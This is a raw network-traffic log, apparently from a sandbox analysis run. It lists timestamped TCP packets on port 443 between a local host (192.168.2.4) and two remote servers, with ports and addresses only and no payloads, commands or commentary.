Nov 20, 2024 12:58:22.821115971 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.821187973 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.821242094 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.821269035 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.821316004 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.821351051 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.821376085 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.821388960 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.821400881 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.821409941 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.821414948 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.823700905 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.823740959 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.823836088 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.823976994 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.823992014 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.836843967 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.836903095 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.836950064 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.837044001 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.837058067 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.837069035 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.837074041 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.837991953 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.838150978 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.838202953 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.838238955 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.838243008 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.838253021 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.838255882 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.839255095 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.839296103 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.839375019 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.839483023 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.839498043 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.839901924 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.839952946 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.840013981 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.840104103 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.840116024 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.842700005 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.842722893 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.842770100 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.842782974 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.842828035 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.842931032 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.842931032 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.842940092 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.842969894 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.843048096 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.844738960 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.844786882 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.844865084 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.844980955 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.844990015 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.496362925 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.496984005 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.496997118 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.497617960 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.497973919 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.497980118 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.499001026 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.500968933 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.506329060 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.506356001 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.506737947 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.506752968 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.507275105 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.507302999 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.517867088 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.517873049 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.518155098 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.518189907 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.518544912 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.518556118 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.524276018 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.528074026 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.528081894 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.528507948 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.528512955 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.601809978 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.601892948 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.602003098 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.603342056 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.603342056 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.603357077 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.603368998 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.606890917 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.606966019 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.607053995 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.607326031 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.607362986 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.610521078 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.610599041 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.610644102 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.610769033 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.610780001 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.610785961 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.610790968 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.613358021 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.613385916 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.613442898 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.613636971 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.613651991 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.619271994 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.619462013 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.619592905 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.619647026 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.619663000 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.619672060 CET	49769	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.619678974 CET	443	49769	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.621961117 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.621994019 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.622061968 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.622174025 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.622189999 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.623527050 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.623709917 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.623759985 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.623877048 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.623894930 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.623930931 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.623938084 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.626296043 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.626321077 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.626383066 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.626600981 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.626616001 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.642424107 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.642487049 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.642529011 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.642641068 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.642647982 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.642673969 CET	49771	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.642678022 CET	443	49771	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.644872904 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.644917011 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.644984961 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.645205021 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:23.645222902 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:23.957828045 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:23.957957029 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:23.958038092 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:23.958394051 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:23.958429098 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:24.252595901 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.253309011 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.253339052 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.254095078 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.254101992 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.266309977 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.266799927 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.266820908 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.266915083 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.267586946 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.267592907 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.267842054 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.267852068 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.268460989 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.268465042 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.273220062 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.273580074 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.273607016 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.274208069 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.274214029 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.284296989 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.284667969 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.284678936 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.285041094 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.285046101 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.353919983 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.353991985 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.354039907 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.354176998 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.354193926 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.354204893 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.354209900 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.365262032 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.365298986 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.365371943 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.365505934 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.365518093 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.368294954 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.368366957 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.368410110 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.368524075 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.368542910 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.368556976 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.368565083 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.370744944 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.370773077 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.370842934 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.370966911 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.370980978 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.372272015 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.372349977 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.372392893 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.372462034 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.372467041 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.372476101 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.372479916 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.374536991 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.374563932 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.374619961 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.374753952 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.374762058 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.377556086 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.377722025 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.377770901 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.377804995 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.377804995 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.377821922 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.377830029 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.379667997 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.379702091 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.379766941 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.379884005 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.379898071 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.383759022 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.383908033 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.383960009 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.384016037 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.384026051 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.386118889 CET	49783	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.386136055 CET	443	49783	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.386197090 CET	49783	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.386302948 CET	49783	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:24.386316061 CET	443	49783	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:24.773459911 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:24.773608923 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:24.775355101 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:24.775388002 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:24.775842905 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:24.785218954 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:24.827332020 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.001166105 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.001718044 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.001739979 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.002163887 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.002168894 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.017689943 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.017976999 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.018099070 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.018117905 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.018337965 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.018413067 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.018418074 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.018536091 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.018541098 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.018795013 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.018821001 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.018862009 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.018873930 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.019174099 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.019191027 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.072546005 CET	443	49783	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.073134899 CET	49783	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.073151112 CET	443	49783	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.073662043 CET	49783	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.073668003 CET	443	49783	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.102734089 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.102845907 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.102931023 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.103137970 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.103154898 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.103193045 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.103198051 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.105767965 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.105813026 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.105890989 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.106026888 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.106040001 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.114932060 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.114996910 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.115041018 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.115086079 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:25.115133047 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.115168095 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:25.115187883 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:25.115972042 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.116023064 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.116050959 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:25.116080999 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.116106033 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:25.116574049 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.116930008 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:25.117331028 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.117400885 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.117477894 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.117615938 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.117615938 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.117654085 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.117680073 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.117923021 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.118073940 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.118741989 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.119030952 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.119049072 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.119062901 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.119067907 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.120704889 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:25.120706081 CET	49778	443	192.168.2.4	52.149.20.212
Nov 20, 2024 12:58:25.120739937 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.120764017 CET	443	49778	52.149.20.212	192.168.2.4
Nov 20, 2024 12:58:25.121913910 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.121970892 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.122080088 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.122112036 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.122152090 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.122209072 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.122246027 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.122279882 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.122333050 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.122364998 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.138614893 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.138784885 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.138844967 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.138940096 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.138952971 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.138966084 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.138972044 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.141319036 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.141360044 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.142824888 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.142963886 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.142973900 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.179462910 CET	443	49783	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.179542065 CET	443	49783	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.180592060 CET	49783	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.180632114 CET	49783	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.180663109 CET	443	49783	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.180681944 CET	49783	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.180694103 CET	443	49783	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.183442116 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.183504105 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.183669090 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.183825970 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.183842897 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.763298035 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.766645908 CET	443	49785	13.107.246.45	192.168.2.4
